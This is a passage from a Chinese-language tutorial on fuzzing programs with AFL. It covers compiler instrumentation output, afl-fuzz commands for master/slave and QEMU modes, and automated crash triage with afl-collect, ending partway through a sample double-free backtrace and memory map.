leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-as</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Instrumented</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf=""> locations (</span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">bit, non</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hardened mode, ratio </span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">).</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">71</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Building</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">object</span></span><span leaf=""> &lt;target&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">cc </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-as</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Instrumented</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">58</span></span><span leaf=""> locations (</span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">bit, non</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hardened mode, ratio </span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">).</span><br/><span leaf="">[ </span><span style="color: rgb(0, 92, 197);"><span leaf="">85</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Building</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">object</span></span><span leaf=""> &lt;target&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">cc </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-as</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">+</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Instrumented</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">407</span></span><span leaf=""> locations (</span><span style="color: rgb(0, 92, 197);"><span leaf="">64</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">bit, non</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">hardened mode, ratio </span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">).</span><br/><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Linking</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">C</span></span><span leaf=""> executable &lt;target&gt;</span><br/><span leaf="">afl</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">cc </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">.52b by &lt;lcamtuf@google.com&gt;</span><br/><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">100</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">%</span></span><span leaf="">] </span><span style="color: rgb(111, 66, 193);"><span leaf="">Built</span></span><span leaf=""> target &lt;target&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要启动针对本地应用程序的 fuzzing,可以通过下面的命令链来运行 afl:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">afl-fuzz -i input_sample_dir -o output_crash_dir ./binary @@</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">-</span><span style="color: rgb(34, 134, 58);"><span leaf="">i</span></span><span leaf="">  defines </span><span style="color: rgb(34, 134, 58);"><span leaf="">a</span></span><span leaf=""> folder which holds sample data for the fuzzer to use</span><br/><span leaf="">-o defines </span><span style="color: rgb(34, 134, 58);"><span leaf="">a</span></span><span leaf=""> folder where afl will save the fuzzing results</span><br/><span leaf="">./binary describes the targeted application</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你的资源足够再多启动几个 afl 进程,请记住:每个进程都会占用一个 CPU 核心,并且几乎会榨取它 100% 的算力。要做到这一点,需要对 afl 命令链稍作调整!</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">afl-fuzz -i input_sample_dir -o output_crash_dir -M master ./binary @@</span><br/><span leaf="">afl-fuzz -i input_sample_dir -o output_crash_dir -S slaveX ./binary @@</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">master 与 slave 模式之间唯一的区别在于:master 实例仍会执行确定性 (deterministic) 检查,而 slave 则会直接进入随机变异阶段。如果你完全不想做确定性 fuzzing,大可直接只启动 slave 即可。不过,对于统计与行为研究来说,保留一个 master 进程总归是件好事。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">注意:对于从文件读取输入的程序,请使用 &#39;@@&#39; 在目标命令行中标记应放置输入文件名的位置。fuzzer 会替你完成替换。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">注意 2:你既可以在 input_sample_dir 中放一个空文件让 afl 自行寻找合适的输入,也可以为正在 fuzz 的程序提供一些可解析的、有上下文针对性的输入!</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要为 afl-QEMU 插桩 以进行黑盒 fuzzing,需要先安装相关依赖 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sudo apt-get install libtool libtool-bin automake bison libglib2.0-dev zlib1g-dev</span></code><span leaf="">,然后在 afl 仓库的 ~/afl/qemu_mode/目录中执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">./build_qemu_support.sh</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,</span><strong><span leaf="">不要使用</span></strong><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CC=afl-gcc</span></code><span leaf="">来编译目标程序,并将 afl-fuzz 命令链改成下面这样:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">afl-fuzz -Q -i input_sample_dir -o output_crash_dir -M master ./binary @@</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至此,模拟应当已经可以独立工作了。如果想让 afl 支持其他更冷门的架构,请应用前面准备工作里提到的那个补丁!</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012318" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=01daea15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaPr8IyL9NdgX5PoktEEXiaOySkmLlPpVt9xPETR5CfeJjjC5oYsh5ic3sRa3jWSlqHvTAWXQTD5o3ibTjN3ibb97Oq08FDykicuVBI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100012317" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=fad664ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSialzucJffVJKBe7K9tlv09zsz96oPrVia8MibZNq4icib7ELKKYTTKRDjF4ZWpZqyGcZNOwwKCQ71OhM6kAUzH6pu14KibWZDN4VYAo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上图展示了 master 与 slave 之间的差异,以及启动 fuzzing 流程之后 afl 的整体界面。如图所示,我们的 slave 仅凭随机 fuzzing 行为,在区区 12 分钟内就发现了一批独特的崩溃 (unique crashes)。而 master 实例此刻还远没有追上...</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">崩溃 (crashes) 与挂起 (hangs) 可以分别在 </span><em><span leaf="">output_crash_dir/process_name/crashes</span></em><span leaf="">和 </span><em><span leaf="">output_crash_dir/process_name/hangs</span></em><span leaf="">目录中手动逐个查看。由于这种人工劳动既乏味又低效,一些聪明人为我们准备了 afl-utils 包,它可以自动完成崩溃分析,并搭配 gdb 脚本输出漂亮的结果。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">对所产生崩溃的自动化分析</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要在 fuzzing 进程仍在运行的同时,使用 afl-utils 包 中的 afl-collect 配合 exploitable 来自动收集并分析崩溃,可以执行下面的操作:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">afl-collect -d crashes.db -e gdb_script -r -rr ./output_crash_dir_from_afl_fuzz ./afl_collect_output_dir -j 8 -- /path/to/target</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里只需要修改两个参数:</span><em><span leaf="">./output_crash_dir_from_afl_fuzz</span></em><span leaf="">,即 afl-fuzz 进程保存输出的目录;另一个是 </span><em><span leaf="">/path/to/target</span></em><span leaf="">,即被 fuzz 的应用程序。你可以根据自己的硬件状况调整 </span><em><span leaf="">-j 8</span></em><span leaf="">参数,它用于指定分析输出时使用的线程数。如果一切运转正常,你就会看到类似下面这样的输出:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">afl-collect -d crashes.</span><span style="color: rgb(36, 41, 46);"><span leaf="">db</span></span><span leaf=""> -e gdb_script -r -rr ./out ./output_aflc -j </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf=""> -- ./path/to/target</span><br/><span leaf="">afl-collect </span><span style="color: rgb(179, 29, 40);"><span leaf="">1.33a</span></span><span leaf=""> by rc0r &lt;hlt99</span><span style="color: rgb(215, 58, 73);"><span leaf="">@blinkenshell</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">org</span></span><span leaf="">&gt; # </span><span style="color: rgb(215, 58, 73);"><span leaf="">@_rc0r</span></span><br/><span leaf="">Crash sample collection and processing utility </span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span leaf=""> afl-fuzz.</span><br/><span leaf="">[*] Going to collect crash samples from &#39;/home/lab/Git/code/path/to/target/out&#39;.</span><br/><span leaf="">[!] Table &#39;Data&#39; not found </span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span leaf=""> existing database!</span><br/><span leaf="">[*] Creating new table &#39;Data&#39; </span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span leaf=""> database &#39;/home/lab/Git/code/path/to/target/crashes.db&#39; to store data!</span><br/><span leaf="">[*] Found </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf=""> fuzzers, collecting crash samples.</span><br/><span leaf="">[*] Successfully indexed </span><span style="color: rgb(0, 92, 197);"><span leaf="">56</span></span><span leaf=""> crash samples.</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">***</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Error</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">in</span></span><span leaf=""> `/home/lab/Git/code/path/to/target&#39;</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf=""> double free or </span><span style="color: rgb(0, 92, 197);"><span leaf="">corruption</span></span><span leaf=""> (out)</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0x000000000146c5a0</span></span><span leaf=""> ***</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">=======</span></span><span leaf=""> Backtrace</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf=""> =========</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib/x86_64-linux-gnu/libc.so.6(+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x777e5</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x7f0acaeb67e5</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib/x86_64-linux-gnu/libc.so.6(+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x8037a</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x7f0acaebf37a</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib/x86_64-linux-gnu/libc.so.6(cfree+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x4c</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x7f0acaec353c</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">home/lab/Git/code/path/to/</span><span style="color: rgb(0, 92, 197);"><span leaf="">target</span></span><span leaf="">(&lt;func_a&gt;+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x93fd</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x4627ed</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">home/lab/Git/code/path/to/</span><span style="color: rgb(0, 92, 197);"><span leaf="">target</span></span><span leaf="">(&lt;func_b&gt;+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xaa</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x40e75a</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">home/lab/Git/code/path/to/</span><span style="color: rgb(0, 92, 197);"><span leaf="">target</span></span><span leaf="">(main+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x4c4</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x4017f4</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xf0</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x7f0acae5f830</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span leaf="">home/lab/Git/code/path/to/</span><span style="color: rgb(0, 92, 197);"><span leaf="">target</span></span><span leaf="">(_start+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x29</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x402169</span></span><span leaf="">]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">=======</span></span><span leaf=""> Memory map</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf=""> ========</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">00400000</span></span><span leaf="">-</span><span style="color: rgb(0, 92, 197);"><span leaf="">00401000</span></span><span leaf=""> r--p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00000000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">38669039</span></span><span leaf="">                           /home/lab/Git/code/path/to/target/</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">00401000</span></span><span leaf="">-</span><span style="color: rgb(0, 92, 197);"><span leaf="">00476000</span></span><span leaf=""> r-xp </span><span style="color: rgb(0, 92, 197);"><span leaf="">00001000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">38669039</span></span><span leaf="">                           /home/lab/Git/code/path/to/target/l</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">00476000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">0048a000</span></span><span leaf=""> r--p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00076000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">38669039</span></span><span leaf="">                           /home/lab/Git/code/path/to/target/</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">0048a000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">0048b000</span></span><span leaf=""> r--p </span><span style="color: rgb(0, 92, 197);"><span leaf="">00089000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">38669039</span></span><span leaf="">                           /home/lab/Git/code/path/to/target</span><br/><span style="color: rgb(179, 29, 40);"><span leaf="">0048b000</span></span><span leaf="">-</span><span style="color: rgb(179, 29, 40);"><span leaf="">0048c000</span></span><span leaf=""> rw-p </span><span style="color: rgb(179, 29, 40);"><span leaf="">0008a000</span></span><span leaf=""> fd</span><span style="color: rgb(215, 58, 